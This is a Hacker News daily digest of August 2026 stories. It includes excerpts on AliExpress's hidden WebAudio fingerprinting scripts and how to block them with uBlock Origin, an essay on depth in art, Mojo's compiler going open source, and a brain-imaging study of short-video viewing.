

Hacker News Daily — August 20, 2026

30 stories · August 20, 2026

Sendle.app




In this issue


	AliExpress runs silent WebAudio fingerprinting that breaks Bluetooth multipoint — blog.laserphile.com · 776 points

	HTML Can Do That — chrisburnell.com · 456 points

	I like 'em thick: an apology to my English teachers — experimental-history.com · 440 points

	Show HN: I trained a 125M model to autocomplete piano on-device — simedw.com · 435 points

	Malicious Rust crate Arrayref runs a build-time payload — safedep.io · 321 points

	Mojo is now open source — modular.com · 299 points

	CIA funding helped keep NeXT afloat in the 80s — wsj.com · 274 points

	Watching TikTok and Instagram deactivates the cognitive control network: Study — rathbiotaclan.com · 239 points

	Linux 7.2 — igalia.com · 148 points

	I should have loved biology (2020) — jsomers.net · 139 points

	Vomit: Clean up Claude 5's token output with a separate LLM — github.com · 127 points

	Stop eating Lady Gaga's Oreos — experimental-history.com · 124 points

	DiffusionGemma Technical Report — arxiv.org · 120 points

	Aaron Swartz was prosecuted for scraping, while Meta does it without consequence — blog.curiousquail.com · 100 points

	How to compromise your system with a job interview — codedge.de · 95 points

	Show HN: Huzzah – a novel approach to coding with AI — danielvaughn.dev · 81 points

	Consumer Rights Wiki — consumerrights.wiki · 78 points

	Anti-AI fonts are useless and harmful — blog.yaros.ae · 71 points

	The August 17 outage, and the work ahead — github.blog · 68 points

	Hacking with Claude on a $27 smart watch — mikekasberg.com · 66 points

	Every Model Cheats — dreadnode.io · 62 points

	Show HN: We chased a weather balloon across Montana and never found it — radi8.dev · 44 points

	Project Cybersyn (2022) — bactra.org · 39 points

	Why aren't smart people happier? (2022) — experimental-history.com · 32 points

	SpacetimeDB: A Short Technical Review — strn.cat · 21 points

	Tidal Cycles – Live coding music with Algorithmic patterns — tidalcycles.org · 21 points

	Gauguin, Descartes, Bayes: A Diurnal Golem's Brain — dl.acm.org · 15 points · link only

	GitHub, autoscaling, and the component substitution fallacy — surfingcomplexity.blog · 14 points

	How to organize 3 acquired companies into one coherent website — littlelanguagemodels.com · 13 points

	Conway's Game of Life, in real life — lcamtuf.coredump.cx · 12 points · link only





01

AliExpress runs silent WebAudio fingerprinting that breaks Bluetooth multipoint

blog.laserphile.com · 776 points · Discussion


Recently I ran into a strange problem with my Bluetooth headphones. They support multipoint Bluetooth audio, so they can be connected to my PC and phone at the same time. Normally the PC takes priority playing audio, with my phone being able to play audio when nothing is playing on the PC.
Usually I listen to music on my phone but with notifications or youtrube playing through the PC, this works reliably until I open an AliExpress page in Firefox or Chrome (other browsers untested).
Shortly after loading the AliExpress homepage, audio from my phone would stop playing. Closing the AliExpress tab fixes it immediately. Muting the tab/firefox/Windows does not help, and there is no visible video, music, or other media playing on the page. 
This seemed suspicious enough to investigate.
Looking for hidden media
My first thought was an autoplaying product video or advertisement, so I checked for the usual suspects:
	<audio> and <video> elements
	calls to HTMLMediaElement.play()
	active Media Session metadata
	media requests
	embedded frames containing media

None of these showed anything useful. There were no audio or video elements, no media playback calls, and navigator.mediaSession.playbackState remained none.
A clue was that the problem did not begin immediately. It appeared after the page had been sitting idle for several seconds. I instrumented the page before loading it and watched the Web Audio API instead of only looking for conventional media elements.
The basic idea was to wrap the AudioContext constructor and record whenever a page created an audio-processing context:
const OriginalAudioContext = window.AudioContext;
window.AudioContext = class extends OriginalAudioContext {
constructor(...args) {
super(...args);
        console.log("AudioContext created", {
state:this.state,
stack:newError().stack
        });
    }
};

I also wrapped AudioNode.prototype.connect() so I could see whether anything was connected to the context's audio destination.
That finally found it, two hidden audio contexts!
During an idle capture of the AliExpress homepage, the page created two AudioContext objects. Both entered the running state and both connected nodes to AudioContext.destination.
At the same time there were still:
	zero <audio> or <video> elements
	zero media play() calls
	no active Media Session
	no audible sound

The constructor stack traces pointed to two scripts:
https://assets.aliexpress-media.com/g/AWSC/uab/1.140.0/collina.js
https://assets.aliexpress-media.com/g/AWSC/fireyejs/1.231.67/fireyejs.js

The first context was created by collina.js, while the second came from fireyejs.js. Both sit under an AWSC directory and appear to be part of Alibaba's browser security and anti-abuse tooling.
The scripts are extremely obfuscated, but enough names and operations survive for AI to work out what the audio code is doing.
What the audio code does
Both scripts build a WebAudio graph resembling this:
Sawtooth oscillator
    -> AnalyserNode
    -> ScriptProcessorNode
    -> GainNode set to zero
    -> AudioContext.destination

The oscillator generates a known waveform. The analyser measures the result after it has passed through the browser's audio implementation, and the script reads frequency data from it.
The gain is set to zero, so the user should not hear anything. However, the graph is still connected to the system audio destination. Connecting it to the destination causes the browser to actively process the graph, even though the final volume is zero.
This is very different from an autoplaying video. There is no media element for the browser's normal tab mute control to stop. As far as the page is concerned, it is performing live audio processing.
In my case, that appears to have been enough for Firefox or Windows to keep the Bluetooth audio path active, preventing my multipoint headphones from switching cleanly back to the phone.
This looks like fingerprinting
The WebAudio test is not the only measurement in these scripts. Inspection of the bundles found code that queries or measures:
	canvas rendering and toDataURL()
	WebGL renderer information, extensions, and shader precision
	audio oscillator and analyser output
	screen and viewport dimensions
	device pixel ratio
	hardware concurrency and device memory
	installed browser plugins
	supported audio and video formats
	WebRTC behaviour
	browser performance timing
	mouse, touch, focus, and scroll events
	device motion and orientation
	properties commonly associated with browser automation

There is also code for serialising and encrypting results, making requests to Alibaba telemetry services, and sending data with fetch() or sendBeacon().
This is a fairly comprehensive browser and device fingerprint.
Audio fingerprinting works because small differences in browser versions, operating systems, audio libraries, and hardware can produce slightly different results from the same generated signal. It is not necessarily enough to uniquely identify a device by itself, but it becomes much more useful when combined with canvas, WebGL, hardware, timing, and interaction data.
I cannot see what AliExpress does with the resulting data after it reaches their servers. It may be used as a persistent device identifier, but it could also be one input into a fraud or bot-detection score. 
Why AliExpress would want this
AliExpress has plenty of reasons to distinguish normal shoppers from automated or suspicious clients as well as tracking users browsing habits. The site has to deal with account takeovers, fake accounts, scraping, automated purchasing, payment fraud, review manipulation, and abuse of coupons or new-customer promotions. They also like most large businesses make use of large datasets of user behaviour to better market products and services.
Cookies are not especially reliable for this purpose because they can be cleared, copied, or replaced. A fingerprint made from many independent browser measurements is harder to manipulate consistently.
Interaction data can also help determine whether a browser is controlled by a person or automation. From AliExpress's perspective, this could reduce fraud and allow trusted customers through without showing a CAPTCHA every few pages. Not that Aliexpress shies away from their AI generated CAPTCHAs.
Personally I do not want a shopping homepage silently exercising my graphics, audio, WebRTC, hardware, and motion APIs, etc, to track my behaviours, especially if it has such an annoying effect as blocking my music. Perhaps if AliExpress wasn't blocking my music I never would've looked into what the site was doing.
Blocking it with uBlock Origin
I tested blocking the two identified script families. With both requests blocked, the AliExpress homepage continued to render and no AudioContext objects or destination connections appeared during the control capture.
In Firefox, I use the official uBlock Origin extension by Raymond Hill. To block the scripts open the uBlock dashboard, select My filters, and add:
! AliExpress AWSC fingerprinting scripts
||assets.aliexpress-media.com/g/AWSC/uab/*/collina.js$script,domain=aliexpress.com
||assets.aliexpress-media.com/g/AWSC/fireyejs/*/fireyejs.js$script,domain=aliexpress.com

Click Apply changes, close any existing AliExpress tabs, and open the site again. Existing tabs need to be closed because blocking a script does not shut down an audio context that it has already created.
These rules are deliberately narrow. They block only the two observed script families and only when requested by AliExpress. I would not be surprised if this stops working in the future, I'll cross that bridge when it comes to it.
Because these scripts appear to be connected with anti-fraud systems, blocking them may cause extra CAPTCHAs or problems during login or checkout. So far the homepage and ordinary product browsing still work, but I would temporarily disable the rules if AliExpress refuses a legitimate login or payment.
Why I am blocking it
The anti-fraud use case is understandable, but this implementation has real world problems.
It runs on the general shopping homepage before I perform a sensitive action. It collects a broad set of device and behavioural measurements, the implementation is deliberately difficult to inspect, and there is no visible indication that the page has started a live audio-processing graph.
It also produced a very real hardware side effect. A silent fingerprinting test was able to interfere with Bluetooth multipoint switching, while the browser's mute control did nothing!
If a hidden analytics or security feature can take ownership of an audio path strongly enough to change how external hardware behaves, blocking it seems like a reasonable trade-off.
I also cannot prove how long AliExpress stores the fingerprint or whether it is used across other Alibaba properties. The client code proves that extensive fingerprint-like measurements are collected and transmitted, but server-side retention and identity linkage are not visible from the browser. Can you really trust anyone to have your best interests at heart?
TL;DR
The AliExpress homepage silently creates two running WebAudio graphs from heavily obfuscated Alibaba security scripts. The graphs generate and analyse a waveform as part of a much larger browser fingerprint, then connect through a zero-gain node to the system audio destination preventing the user from hearing anything.
On my setup, this appears to keep the PC's Bluetooth audio path active and prevents multipoint headphones from switching back to a phone. Muting the tab does not fix it because there is no conventional media element to mute.
Blocking collina.js and fireyejs.js with the two uBlock Origin rules above prevented the hidden audio contexts from being created and means I can happily listen to my music without being interrupted while browsing Aliexpress.






Original: https://blog.laserphile.com/2026/08/aliexpress-webpage-keeping-multipoint.html · Discussion
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HTML Can Do That

chrisburnell.com · 456 points · Discussion


		

		HTML has been gobbling up swathes of what used to be JavaScript’s remit. This page lists a bunch of dynamic functionality that we can now achieve with just HTML.


		


		Update 2026-08-20: I originally built this page in one hour during HTML Day 2026 to write and celebrate HTML, but I’ve since made some edits to better express and highlight where the browser implementation of some of this stuff is severely lacking and/or completely fails to meet accessibility needs. So, by all means, try it out, but make it as accessible as you can!


		


		
			popover

			Browser Support: popover →

			Light dismiss, Esc to close, no managing z-index to wrangle it onto a top later. All managed with popover and popovertarget (and popovertargetaction) attributes in HTML. (MDN)
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I like 'em thick: an apology to my English teachers

experimental-history.com · 440 points · Discussion


photo cred: my dad
I owe an apology to every English teacher I ever had. I always assumed that so-called “great” literature was a hoax, a punishment inflicted upon adolescents for the crime of being young. These books did not have anything special about them, and covering up that fact was simply a make-work exercise for former English majors, a sort of “jobs for snobs” program.
I was wrong about this. There is such thing as greatness. More specifically, there is such thing as thickness. Great works of fiction—for that matter, great works of any art—unfurl in response to your attention. The more time you spend with them, the more you get out of them. That kind of responsiveness is so addicting that it can lead people to do crazy things, like try to teach literature to high schoolers.
But thickness is tricky, because rewarding the careful reader often means repelling the casual one. And this is where I would like an apology in return from my English teachers, because while this might have been obvious to them, they never made it obvious to me.
I was presented with art and literature as if it was self-explanatory, and that everything wonderful about it was plainly visible from the outside. But those works were much more like dark, winding caves with treasure stashed inside of them. My teachers were like, “Right, well, into the cave you go!” and I was like “But there’s nothing in there” and they were like “Entering the cave is 30% of your grade” and so I took a few steps into the darkness and I was like “Just as I suspected: an empty cave” and then I came trudging back out and pretended that I saw something.
But if someone had outfitted me appropriately, if they warned me that you have to bring one of those crank-up flashlights and you might have to shimmy through some narrow antechambers and spelunk through some flooded passageways, but that eventually you would reach a room full of untold riches—well, maybe I would have actually tried.
Instead, I had to learn about thickness by looking at a guy’s butt.
For most of my life, I treated art museums like celebrity scavenger hunts. The point of visiting was to see in person the thing you had seen on a screen or in a book; the goal was collection rather than contemplation. And so I would power-walk through the galleries, scanning the placards for famous names, rushing over whenever one of my companions would hiss, “Oh, this one’s a Van Gogh!”
This ended when I encountered The Garden of Earthly Delights, a triptych painted by the Dutch master Hieronymous Bosch. When I went to collect that one, I got stuck. I wanted to stand in front of it forever.


It’s a painting from 500 years in the past that looks like a painting from 500 years in the future. Every corner of it is filled with “freakish riddles” and “irresponsible phantasmagoria”, in the words of art critic Wilhelm Fränger. For example, what is going on with this dude?


Or this lil guy here?


In the third panel of the triptych, there’s a scene of some instruments, some naked dudes, and some kind of pink demon with an alarmingly long tongue. Look closely, and you’ll see one of the naked dudes has some music printed on his butt (helpfully, one of his friends is pointing at it, as if to say, “dude you have some music on your butt”).


In 2012, a student at Oklahoma Christian University named Amelia Hamrick noticed the butt music and decided to transcribe it, record it, and post it to her blog, catapulting her to instant worldwide fame.
When I started writing this section, I intended to include this fact as a fun little Easter egg—look how thick this painting is, that it goes to the trouble of writing an actual song on a guy’s hiney!
But it turns out I got this all wrong, and the painting was even thicker than I thought. While researching the story, I stumbled upon threemagisterialblog posts by Ian Pittman, an expert on medieval music. He argues:
	Hamrick was not the first to resurrect the butt music. It was also done by the Swedish group Vox Vulgaris in 2003, Atrium Musicae in 1978 (from the LP Codex Gluteo), and, according to a now-deleted angry comment, by some art history professors in 1981 and 1961, whose erasure from this story has left them quite, if you will, butthurt.

	The butt music is not music at all. It lacks a clef, the notes are spaced out randomly, and one of the staffs has a different number of lines. If you try to turn it into a coherent song, you’re basically making things up—or as we would call it if an LLM did it, hallucinating. (Perhaps this is why every rendition of the butt music has sounded so different.)

	Bosch intended the butt music to be unplayable. If you look across his works, understand the context of his life, and spend a little extra time inspecting The Garden of Earthly Delights, you realize that Bosch thought secular music was a one-way ticket to hell. (Church music was a-ok, as long as it was for the glory of god and not the glory of the players.) That’s why he depicted so many musicians being tortured: one of them is trapped inside a drum that’s being beaten by some kind of raccoon demon, another is being crucified on a harp, and the butt music guy himself is being crushed by a giant lute. For Bosch, putting actual music on a guy’s ass would be like the FBI handing out copies of the Anarchist Cookbook.


So the butt music is not a secret, but a warning: “If you play music outside of a church context, demons will torture you for eternity.” I find this funny, because I grew up amidst a moral panic over rap music; just imagine growing up in a moral panic over all music. “Oh, your heart will go on, Celine Dion? No, your heart will be torn from your chest and fed to the slavering servants of Beelzebub.”
So that’s what thickness looks like, but what is it? What makes something thick?
There is no straightforward answer to this question, which is what makes thickness both rare and remarkable in the first place. But I think there are four thickening agents worth considering:
Thick art bears the marks of approaches attempted and discarded, a pile of scraps larger than the finished project. For example, here are four versions of the same idea from the artist Hokusai, one produced when he was 33, another when he was 44, another at 46, and another when he was 72, which is the one you’ll recognize.1



The Betty Crocker Corporation could put just egg powder into their cake mix, but they don’t, because cracking an egg into a bowl allows people to pretend that they’re baking. When you present your grandma with a birthday cake, you want to feel like “I made this for you, O Beloved Grandmama” and not like “I dumped a bag of dust into a bowl and heated it up so open wide you old biddy.”
Thick art is like that: it gives you an egg to crack. It leaves space for some essential ingredient you bring yourself, so that the real action happens in your mind, rather than on the page or the canvas or the screen.
This effect is often too subtle to demonstrate in a single bullet point, but here’s an accessible example. The 11th Hour by Graeme Base reads like a normal children’s book at first—oh look here are some beautiful pictures of animals, look at them playing board games, how nice, etc.


Only at the end of the story do you realize that a crime has been taking place under your nose the whole time, and that the clues are hidden in the details of the pictures you’ve just been paging through. The real experience of the book is re-reading the book with this in mind.
Why this word, this scene, this character, and not some other one? Thin art has no answers; thick art does. Sometimes these reasons are known to the artist, and sometimes they are not, much to the delight and employment of Freudians everywhere.
For example, did you know there’s lots of ears in Hamlet? There’s the poison-in-the-ear thing, of course, and characters are always eavesdropping on each other and exhorting each other to listen, but there’s also a lot of talk about ears (“in the porches of my ears”) and number of odd ear-based metaphors (“the whole ear of Denmark”, “like a mildewed ear”). Whether Shakespeare did this on purpose because he had some kind of ear fetish, whether the muse whispered it to him in his sleep (and through what orifice?), and whether any reader notices it—these are all beside the point. The recurrence of these themes and images creates a depth that can be felt even if it isn’t known, and endlessly explored if it is.2
Humans are mortal, for now. This means all of our actions incur opportunity costs, and so the greater the cost paid to create a work of art, the thicker it can get. There’s no guarantee this will happen, of course, and that risk is part of the thrill.
The Met Cloisters has these wooden altarpieces from the 1400s that draw your attention immediately, I think because the mind can subconsciously calculate the time it must have taken to carve them, and it sends a signal back to the eyes: important. You know that you are not just seeing a work of art, but the expenditure of a life.
Here’s an even more haunting example. I once saw the magician duo Penn and Teller perform live, and at the end of the show, Penn told us he was going to swallow fire. As he dipped the torch in gasoline, he explained that what he was about to show us is not a trick. Magicians are always saying things like that, but in this case it’s true: there is no sleight of hand the protects the fire-eater from the flames. They get blisters and burns, the fuel drips down their esophagus and poisons them, they suck the hydrocarbons into their lungs and contract “fire-eater’s pneumonia”. To watch someone eat fire is to watch someone shorten their lifespan for your entertainment.
“When you leave the theater tonight, you’re going to ask yourselves, ‘How did they do it?’”, Penn said as he lit the torch. “Instead, I’d like you to ask yourselves, ‘Why did they do it?’“ And then he reared his head back and swallowed the flame.
The other way to understand thickness is to study its absence.
Guys who work in bike shops like to joke about bicycle-shaped objects—sure, that mass-produced hunk of metal and plastic has a seat, pedals, wheels, and handlebars, but that doesn’t mean it’s a bike. When the materials are so cheap and the construction is so slapdash, it deserves another name entirely.
This terminology comes in handy, because it turns out there are also movie-shaped objects and book-shaped objects, art-shaped objects and thought-shaped objects. Just because a series of pictures flickered across the screen and the credits followed, that doesn’t mean it was a movie. Just because it’s printed out and bound in cardboard, that doesn’t mean it’s a book. There is an additional essence that is necessary to turn something from the shape of a thing into the actual thing, and the difference between having and lacking that essence is the difference between a corpse and a person.
This essence is what makes fiction worth reading in the first place, but it’s hard to capture in a paragraph, so let me show you some nonfiction instead, where you can spot the thinness in an instant. Here’s a passage from a self-help book that a friend sent me recently:
You are built to perform under pressure and that is exactly what you will do. Reminding yourself of this changes the meaning of those signs of stress that might otherwise be seen as “symptoms” of a problem. In fact, research shows that simply reminding someone that their performance improves under pressure improves their actual performance by 33 percent (Jamieson et al., 2018).

These sentences crumble immediately upon inspection. First of all, there’s something embarrassing and grating about getting generic encouragement from a book—you don’t know me! Maybe I am not “built to perform under pressure”! I might be a pathetic weakling who is destined to choke at the pivotal moment. What then?
Plus, the facts here are brittle. I looked up the paper in question and could not find this “33 percent” number anywhere. Maybe it’s made up? And what is “performance”, anyway? Performance on anything? Surely not; the studies cited in the paper are mainly about taking multiple-choice tests.3 This is exactly the kind of finding that rises to prominence thanks to one small and flawed experiment, attracts a bunch of excited research, gets wildly overgeneralized under the handwavy phrase “studies show”, and then shrivels under a wave of debunkings and non-replications, such that after years of work, the whole thing ends with an embarrassed shrug. (Unsurprisingly, there is some evidence of publication bias for this “built to perform under pressure” effect.)
Reading a book like this feels like wandering through a Potemkin village. Touch any of the ideas, and they tip over.
In nonfiction, it might seem like the solution for puffery is pedantry, as if thickness comes from presenting every relevant fact in agonizing detail. But it doesn’t, just as thickness in fiction doesn’t come from describing every object in the room before you let the characters open their mouths. Instead, thickness comes from surfacing a few facts well, and in such a way that you realize the existence of entire universes of additional facts that could be known.
For example, here’s a short passage from Jane Jacobs’ The Death and Life of Great American Cities:
[City planners] operate on the premise that city people seek the sight of emptiness, obvious order and quiet. Nothing could be less true. People’s love of watching activity and other people is constantly evident in cities everywhere. This trait reaches an almost ludicrous extreme on upper Broadway in New York, where [...] benches have been placed behind big concrete buffers and on any day when the weather is even barely tolerable these benches are filled with people at block after block after block, watching the pedestrians who cross the mall in front of them, watching the traffic, watching the people on the busy sidewalks, watching each other.

Jacobs notes that further north, near Columbia University, the streets are quieter, the pedestrians are more orderly, the traffic is calmer...and the benches are empty. “I have tried them and can see why,” Jacobs says. “No place could be more boring.”4
There are a lot of threads here, so I’ll pick just one. Jacobs is pointing out a fact that millions of people observe every day, but almost none of them notice. Including me! I once lived on those boring blocks that Jacobs describes, and although I noticed something amiss—I would tell friends I lived in “the dead zone of Manhattan”—I never understood why. Nor do I think psychologists really have an answer for what motivates people to sit on benches and watch other humans go by. What drive is this satisfying?
There is a danger, of course, in seeking and praising thickness, one that even I understood when I was a barely-sentient teenager. If you allow for the existence of secret treasures that can only be accessed with effort and analysis, then you empower the elitists and the snobs. “Buddy, don’t even talk to me until you’ve been in the cave!”
But look around. The snobs are in full retreat. We have swung the pendulum so far toward poptimism, toward the blinkered idea that all art is equal because all humans are equal, toward the ethos that guilty pleasures are simply pleasures, that I’m not sure if we can ever swing it back.
Erasing the line between the thick and the thin has left us defenseless against slop at the exact moment of its onslaught. Everyone can sense there’s something amiss with the prose that comes out of the machines, but we lack the language to talk about it, and so we’ve converged on the idea that slop simply means using too many em dashes, bullet points, and line breaks.
No, what separates substance from slop is thickness. Slop holds no secrets; it signifies nothing. Under scrutiny, it evaporates. All it can offer is bottomlessness—sure, there’s nothing on, but at least there are infinite channels!
That’s why I’m neither surprised nor dismayed when studiesfind that people prefer AI art to human art. Of course they do! In the short term, thinness prevails. When people are making snap judgments, they want pretty flowers, poems that rhyme, pleasing pablum, the simulacrum of thought.5 But none of these last. The real question is not “which of these things looks nicer when you look at them for two seconds?” but “which of these things will stand the test of time?” Which of them will people fly across the world to see? Which of them will drive people so mad they’ll major in the humanities?
This kind of quality can only be proven by longevity. Which answers another question I had when I was scowling in the back of English class: why do we have to spend so much time reading old stuff? And the answer is: this is the only stuff that we can be sure is any good. Great works of art, like successful genes, convince humans to keep passing them on. If something has survived for centuries, then there’s probably something to it. We’re not still brewing Bronze Age beer and we’re not still sailing Bronze Age ships, but we are still telling Bronze Age stories, and this warrants our attention.
Speaking of longevity, remember a few months ago, when everyone was Studio Ghibli-fying all the pictures in their camera roll? Well, why did they stop? Why are those millions of images gathering dust in a data center while people continue to watch actual Studio Ghibli films? Why is it that Suno can AI-generate you any kind of music you want, but if you go on the Suno Reddit, you’ll find a running joke that no one can stand anyone’s Suno music but their own—a quality that, I can’t help but mention, also applies to farts?
The slop-acalypse that so many of us fear, when people will stop looking at anything made by humans and only look at things made by machines—why hasn’t that happened yet? Do the models need another million tokens? Are we still looking for the right prompts? Or could it be that we are attempting to mass-produce something that cannot be mass-produced?
On the left: @clayohr on twitter. On the right: Francisco Goya.
Regardless, people keep trying. About once a week, I get a pitch from some AI startup that wants to automate some part of my writing. The most recent one says it’s “built for credible thinkers who have a book’s worth of ideas but not the time it typically takes to write one”.
I’m sorry, but if you’re building or using a tool like this, then you’ve got slop for brains. There is no such thing as having a “book’s worth of ideas” that are all ready to go except for the small matter of choosing the right words and putting them in the right order.
I know exactly the feeling that these slop-trepeneurs are preying on, because I feel it all the time: I’ve got these thoughts in my head, and boy oh boy they’re good ones, all-timers, really, and it’s so annoying that I have to spend all this time making the words sound good, when the ideas behind the words are already so good!
But this is an illusion. The ideas are not already good. They need to be thickened. I understand why it’s tempting to force a machine do the hard part for you, but it can’t, and the hard part is the only part worth doing anyway. Making something thick—that’s a lot of pressure! But remember: you were built to perform under pressure, and that’s just what you’ll do.




Original: https://www.experimental-history.com/p/i-like-em-thick · Discussion
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Show HN: I trained a 125M model to autocomplete piano on-device

simedw.com · 435 points · Discussion

I trained a 125M-parameter transformer to autocomplete piano performances in real time (~108 notes/sec on an iPhone 15).The idea is basically GitHub Copilot or Tabnine, except instead of prompting it with code, you prompt it by playing a few notes on a MIDI piano. The model then continues what you played, entirely on-device.
The app is free if anyone wants to try it. Happy to answer questions about the model, training, Core ML, or the many things that didn't work.


Original: https://simedw.com/2026/08/20/midi-autocomplete/ · Discussion
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Malicious Rust crate Arrayref runs a build-time payload

safedep.io · 321 points · Discussion

https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on...https://github.com/rustsec/advisory-db/issues/3161


Original: https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/ · Discussion
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Mojo is now open source

modular.com · 299 points · Discussion

We are happy to announce that the Mojo🔥 language is now fully open source under the Apache 2.0 license (with LLVM exceptions)! The source code for the Mojo compiler, tooling, and everything else you need to build the language are now available in our modular GitHub repository.
The Mojo language is a bold bet: a novel general purpose programming language that goes further than older ones. Mojo integrates the latest in compiler and programming language research to unlock GPUs, AI accelerators, and other advanced compute. For the last four years, Mojo has been developed with an open community, but a closed compiler. Last week Mojo hit 1.0 (with source stability), and today we’re excited to open source the entire compiler and toolchain.
Apache 2: A permissive license
The Apache 2.0 license is the gold standard for programming languages and compilers, because it provides great flexibility to be used in all sorts of applications. The LLVM extensions to the license further expand those freedoms for building and distributing binaries compiled from Mojo. We want you to be able to adopt and use Mojo in as many applications as you can imagine.
Our open source approach has been deliberate: we’ve found that small and tight-knit design teams (not committees) are the best for finding the “soul” of a language, but that feedback from a broader community is essential to escape an echo chamber. As such, we first open-sourced the Mojo standard library, then released hundreds of thousands of lines of kernel code written in Mojo, tools, and support. We built together with community feedback and public design proposals, and are now open sourcing the compiler. We will continue to open our processes further as Mojo keeps maturing.
How to get and build the compiler
All code for the Mojo language is now available at the main modular GitHub repository. First, clone that repository locally:

bash

git clone https://github.com/modular/modular.git

cd modular




Then, to build the Mojo compiler from source and run it against a Mojo file you can use a single build command:

bash

./bazelw run --config=build-mojo KGEN:mojo -- run hello.mojo




At Modular, we use Bazel to manage the complex build processes and caching for Mojo and MAX. This one command will download or build everything needed to build the Mojo compiler and the Mojo standard library. The flag --config=build-mojo tells the build system to compile everything from scratch, using the source code on your local system.
This extends to working with the Mojo standard library, where you can modify the compiler or library code and run the full suite of tests via:

bash

./bazelw test --config=build-mojo mojo/stdlib/test/...




If you aren’t working on the compiler itself, you can use the flag --config=prebuilt-mojo and the build system will download the latest nightly binary distribution of the compiler, saving you some compilation time. Note that a prebuilt Mojo compiler is still necessary today if you are customizing MAX kernels or models.
Contributions
The Mojo standard library has been accepting contributions since 2024, and we’re grateful for everyone that has helped advance the language. One learning (particularly in today’s era of AI coding) is that we need to be deliberate about how we handle contributions. As such, we aren’t ready to take contributions to the compiler and tooling. We aim to accept contributions to the compiler and tooling by the end of this year, and we’ll share more details when we can.
To ask any questions about the Mojo compiler source as you read through it, or to share what you’re working on, please join our forum. Clone the source code and let us know what you’re building with the Mojo language. We’re excited to open Mojo up to the world and see how it grows!





Original: https://www.modular.com/blog/mojo-open-source · Discussion
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CIA funding helped keep NeXT afloat in the 80s

wsj.com · 274 points · Discussion

https://archive.is/JfB5V

Original: https://www.wsj.com/tech/steve-jobs-apple-next-cia-161b65f9?st=NWWds1&reflink=desktopwebshare_permalink · Discussion
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Watching TikTok and Instagram deactivates the cognitive control network: Study

rathbiotaclan.com · 239 points · Discussion

Millions of people finish short video after short video every day; a new brain-scan study shows that the very act of finishing a clip they like temporarily quiets the brain regions that normally help them stay focused and weigh longer-term goals. When people watch a short video they enjoy enough to finish, two brain regions involved in cognitive control show significant deactivation. That is the central finding of a new study from Zhejiang University, published in NeuroImagein January 2026. Using functional MRI alongside proton magnetic resonance spectroscopy (¹H-MRS), the research team examined 56 young adults while they freely watched short video clips inside an MRI scanner. Both the dorsal anterior cingulate cortex (dACC) and the dorsolateral prefrontal cortex (dlPFC) showed reduced activity specifically when participants watched clips they liked enough to view to completion.
Cognitive control helps people balance immediate pleasures against longer-term goals, and impairments in this system are linked to conditions such as depression, anxiety, ADHD, and addiction. Short-video platforms present rapid, algorithmically curated streams that are built for continuous, low-effort consumption. Prior behavioral research has tied both internet addiction and smartphone addiction to weaker self-control, and separate neuroimaging work has documented disruptions to reward and cognitive-control circuits in people with behavioral addictions. Despite this, few studies had directly tested whether the act of watching entertaining short videos itself suppresses the brain’s cognitive control regions. The Zhejiang University team set out to answer that question, along with a second one: what neurochemical factors might explain why this suppression varies from person to person?
The dACC and dlPFC form the core of the brain’s cognitive control network. The dACC contributes to conflict monitoring, reward-based decisions, and effort evaluation, and it typically activates during demanding tasks such as the Stroop or Go/No-Go test. The dlPFC, which connects structurally to the dACC, carries out top-down control once the dACC has flagged a need for it. Earlier work from the same lab had already shown that passively viewing personalized short videos suppresses the dACC, regardless of whether the content was algorithmically recommended or generic. Separately, prior neurochemical research has linked resting-state glutamate concentrations in the anterior cingulate cortex to stronger task-related brain activation, while GABA concentrations have been associated with reduced activation in some contexts. However, these metabolite-to-activity relationships have proven inconsistent across different types of cognitive tasks.
The team recruited 66 volunteers and excluded 10 for excessive head motion or low-quality spectroscopy data, leaving a final sample of 56 participants (37 men and 19 women, average age 23.3). All participants reported some existing experience with short-video apps. Before scanning, the researchers measured resting-state glutamate and GABA concentrations in each participant’s dACC using a MEGA-PRESS spectroscopy sequence, with a matched voxel in the visual cortex serving as a control region.
During the scan, participants watched two six-minute blocks of short clips drawn from a library of 160 videos spanning five categories: single-person actions, multi-person interactions, pets, game scenes, and natural scenery. Average clip length was 23.7 seconds. Participants could press a button at any time to skip to the next clip. Based on viewing behavior, each video was classified as “liked” (watched to the end), “disliked” (skipped before the halfway point), or a third category for clips skipped after the halfway point. On average, participants watched about 19 liked videos and 36 disliked videos per session. The study had been preregistered in September 2024, and the analysis plan set a Bonferroni-corrected significance threshold to account for multiple comparisons.
Both the dACC and dlPFC deactivated significantly below baseline while participants watched liked videos. During disliked videos, the pattern diverged: dACC activity stayed close to baseline, while dlPFC activity remained suppressed, though less severely than during liked viewing. Directly comparing conditions confirmed that both regions showed significantly greater suppression during liked video viewing than during disliked viewing. The visual cortex, used as a control region, activated during both video types with no difference between them, indicating the deactivation pattern was specific to cognitive control regions rather than a general effect of watching video.
 Regional Brain Activation During Liked vs. Disliked Video Viewing
 Bar height is proportional to the t(55) statistic reported in the paper. Bars below the center line indicate significant deactivation; bars above indicate significant activation.
Significant deactivation Significant activation Not significant vs. baseline ***p<.001

Resting-state dACC glutamate concentration also mattered. Independent of GABA, higher dACC glutamate predicted less suppression of dACC activity during both liked and disliked viewing, and less suppression of dlPFC activity during disliked viewing. The link between glutamate and dlPFC activity during liked viewing did not reach statistical significance. GABA concentration, meanwhile, correlated significantly with activation in the visual-cortex control region but showed no significant relationship with dACC or dlPFC activity.
Functional connectivity between the dACC and dlPFC increased above baseline during both liked and disliked viewing, and this increase was significantly stronger during liked videos. Connectivity between the dACC and the visual-cortex control region showed no significant deviation from baseline in either condition. Neither glutamate nor GABA concentration significantly predicted the strength of dACC-dlPFC or dACC-V1 connectivity.
 Functional Connectivity Between the dACC and Other Regions
 t(55) statistics for dACC connectivity with the dlPFC (task-relevant) and V1 (control region) during video viewing.
Significant positive connectivity Not significant vs. baseline ***p<.001

 Data source: Hong, T., Su, C., Zhou, H., Geng, F., & Hu, Y. (2026). Brain activity inhibition during short video viewing: Neurochemical insights. NeuroImage, 327, 121722. Bar heights are scaled for visual comparison of t-statistics and are not effect-size estimates.

The researchers caution against reading the deactivation as evidence of impaired cognitive function. As they put it in the paper, “this deactivation should not be interpreted as a failure of cognitive control capacity.” Instead, the team argues the pattern likely reflects an adaptive shift toward low-effort, automatic processing during passive, low-conflict viewing. They note that participants remained actively engaged throughout the task, skipping disliked clips on roughly 57 percent of trials, which the authors say points to sustained evaluation rather than disengagement or mind-wandering.
